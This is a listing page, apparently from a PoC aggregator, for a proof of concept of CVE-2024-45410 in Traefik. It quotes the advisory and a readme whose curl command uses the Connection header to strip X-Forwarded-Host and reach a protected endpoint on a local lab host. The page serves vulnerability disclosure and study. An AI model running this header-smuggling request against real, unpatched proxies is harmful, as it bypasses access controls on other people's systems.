CVE-2024-45410 PoC — HTTP client can remove the X-Forwarded headers in Traefik

Source

https://github.com/jphetphoumy/traefik-CVE-2024-45410-poc

Associated Vulnerability

Title: HTTP client can remove the X-Forwarded headers in Traefik (CVE-2024-45410)
Description:Traefik is a golang, Cloud Native Application Proxy. When a HTTP request is processed by Traefik, certain HTTP headers such as X-Forwarded-Host or X-Forwarded-Port are added by Traefik before the request is routed to the application. For a HTTP client, it should not be possible to remove or modify these headers. Since the application trusts the value of these headers, security implications might arise, if they can be modified. For HTTP/1.1, however, it was found that some of theses custom headers can indeed be removed and in certain cases manipulated. The attack relies on the HTTP/1.1 behavior, that headers can be defined as hop-by-hop via the HTTP Connection header. This issue has been addressed in release versions 2.11.9 and 3.1.3. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Description

A proof of concept of traefik CVE to understand the impact

Readme

# Proof of Concept of CVE CVE-2024-45410

Resources: https://github.com/traefik/traefik/security/advisories/GHSA-62c8-mh53-4cqv

# How-To

Run `curl -i http://flask.localhost/protected`, you shouldn't be able to query the endpoint.

The allowed host are 127.0.0.1, let's use the following query to make a hop-by-hop header via Connection: 

`curl -i http://flask.localhost/protected -H "Connection: X-Forwarded-Host" -H "X_Forwarded_Host: 127.0.0.1"`

You should be able to see the protected endpoint

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →